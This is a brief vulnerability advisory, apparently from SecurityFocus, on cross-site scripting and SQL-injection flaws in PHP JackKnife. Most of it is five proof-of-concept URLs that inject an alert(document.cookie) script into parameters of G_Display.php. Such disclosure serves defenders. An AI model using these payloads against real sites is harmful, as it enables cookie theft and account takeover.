source: http://www.securityfocus.com/bid/24253/info
    
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/PHPJK/G_Display.php?iCategoryUnq=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?iDBLoc=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?iTtlNumItems=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?&iNumPerPage=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?sSort=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>